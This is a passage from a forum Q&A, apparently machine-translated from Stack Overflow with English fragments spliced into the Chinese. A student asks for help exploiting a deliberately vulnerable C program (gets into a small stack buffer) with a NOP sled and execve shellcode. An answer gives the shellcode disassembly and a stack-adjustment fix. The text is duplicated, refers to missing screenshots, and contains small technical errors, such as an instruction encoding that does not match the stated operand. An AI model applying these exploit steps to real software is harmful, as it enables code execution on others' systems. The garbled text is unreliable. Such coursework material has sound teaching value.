注入 shellcode 与缓冲区溢出的困难
Difficulties injecting shellcode with buffer overflow
对于我正在做的作业,我必须注入 shellcode 来执行 execve(/bin/bash) 到以下 C 程序中:
#include <stdio.h>
#include <string.h>
void return_input(void)
{
char array[30];
gets(array);
printf(array);
}
main()
{
return_input();
return 0;
}
我反汇编了return_input,发现缓冲区有38字节大。我找到了一个在 http://shell-storm.org/shellcode/files/shellcode-827.php and replaced \x2f\x2f\x73\x68, which is for sh, with \x2f\x62\x61\x73, which is for bash. I turned off ASLR, and compiled final1.c with gcc with the options -m32, -zexecstack, and -fno-stack-protector. The following was a test payload to see if I could overwrite the return address: 处执行 execve(/bin/sh) 的 shellcode
19 个 nop 后跟我的 23 字节 shellcode 和四个 a,使有效载荷为 46 字节。
当我在gdb中用/tmp/input 运行 final1时,我可以看到我可以覆盖return地址。
突出显示的地址是溢出的缓冲区。我可以说我已经覆盖了 return 地址,因为分段错误中有四个 61。
这就是我 运行 遇到困难的地方。我没有用四个 a 覆盖 return 地址,而是在有效负载中的 nop sled 中间某处使用了一个地址:我选择了地址 0xbffff1ea
。但是,当我使用负载 运行 final1 时,我没有打开 bash,而是看到了这个:
分段错误中的数字不是第一个 运行 中有效负载的最后四个字节,所以我认为这意味着它跳转了。我还注意到显示的数字 0xbffff105
是 shellcode 中一个字节的地址,我用黄色突出显示了它。
我在这一点上碰壁了。有谁知道我为什么遇到这些麻烦?另外,如果我对自己所做的事情的理解似乎不对,我鼓励你纠正我。
bash 和 sh 是两个不同的 shell。基本上 bash 是 sh,具有更多的特性和更好的语法。大多数命令的工作原理相同,但又有所不同。
话虽如此,您应该意识到 /bin/sh 在大多数系统上将是一个符号 link 并且不会调用 sh。在 Ubuntu /bin/sh 中,曾经 link 到 bash,Linux 发行版上的典型行为,但现在已更改为 linking 到另一个 shell 称为破折号。
所以,简而言之,我认为您不需要更改 execve 函数的十六进制部分。
你的 shellcode 有一堆改变堆栈的指令。
0: 31 c0 xor eax, eax
2: 50 push eax
3: 68 2f 62 61 73 push 0x7361622f
8: 68 2f 62 69 6e push 0x6e69622f
d: 89 e3 mov ebx, esp
f: 50 push eax
10: 53 push ebx
11: 89 e1 mov ecx, esp
13: b0 0b mov al, 0xb
15: cd 80 int 0x80
你的esp
点在shellcode结束之后。在第一个 push
之后,esp
指向你的 shellcode 的最后 4 个字节。随着 shellcode 的继续执行,后续向堆栈的推送实际上会覆盖 shellcode 的某些部分。我建议您在 shellcode 的开头添加一些代码,以便您的 esp 指向远离 shellcode 的位置。 add esp,0x7f
不包含任何空字节并适合 3 个字节“83c470”
对于我正在做的作业,我必须注入 shellcode 来执行 execve(/bin/bash) 到以下 C 程序中:
#include <stdio.h>
#include <string.h>
void return_input(void)
{
char array[30];
gets(array);
printf(array);
}
main()
{
return_input();
return 0;
}
我反汇编了return_input,发现缓冲区有38字节大。我找到了一个在 http://shell-storm.org/shellcode/files/shellcode-827.php and replaced \x2f\x2f\x73\x68, which is for sh, with \x2f\x62\x61\x73, which is for bash. I turned off ASLR, and compiled final1.c with gcc with the options -m32, -zexecstack, and -fno-stack-protector. The following was a test payload to see if I could overwrite the return address:
当我在gdb中用/tmp/input 运行 final1时,我可以看到我可以覆盖return地址。
这就是我 运行 遇到困难的地方。我没有用四个 a 覆盖 return 地址,而是在有效负载中的 nop sled 中间某处使用了一个地址:我选择了地址 0xbffff1ea
。但是,当我使用负载 运行 final1 时,我没有打开 bash,而是看到了这个:
分段错误中的数字不是第一个 运行 中有效负载的最后四个字节,所以我认为这意味着它跳转了。我还注意到显示的数字 0xbffff105
是 shellcode 中一个字节的地址,我用黄色突出显示了它。
我在这一点上碰壁了。有谁知道我为什么遇到这些麻烦?另外,如果我对自己所做的事情的理解似乎不对,我鼓励你纠正我。
bash 和 sh 是两个不同的 shell。基本上 bash 是 sh,具有更多的特性和更好的语法。大多数命令的工作原理相同,但又有所不同。
话虽如此,您应该意识到 /bin/sh 在大多数系统上将是一个符号 link 并且不会调用 sh。在 Ubuntu /bin/sh 中,曾经 link 到 bash,Linux 发行版上的典型行为,但现在已更改为 linking 到另一个 shell 称为破折号。
所以,简而言之,我认为您不需要更改 execve 函数的十六进制部分。
你的 shellcode 有一堆改变堆栈的指令。
0: 31 c0 xor eax, eax
2: 50 push eax
3: 68 2f 62 61 73 push 0x7361622f
8: 68 2f 62 69 6e push 0x6e69622f
d: 89 e3 mov ebx, esp
f: 50 push eax
10: 53 push ebx
11: 89 e1 mov ecx, esp
13: b0 0b mov al, 0xb
15: cd 80 int 0x80
你的esp
点在shellcode结束之后。在第一个 push
之后,esp
指向你的 shellcode 的最后 4 个字节。随着 shellcode 的继续执行,后续向堆栈的推送实际上会覆盖 shellcode 的某些部分。我建议您在 shellcode 的开头添加一些代码,以便您的 esp 指向远离 shellcode 的位置。 add esp,0x7f
不包含任何空字节并适合 3 个字节“83c470”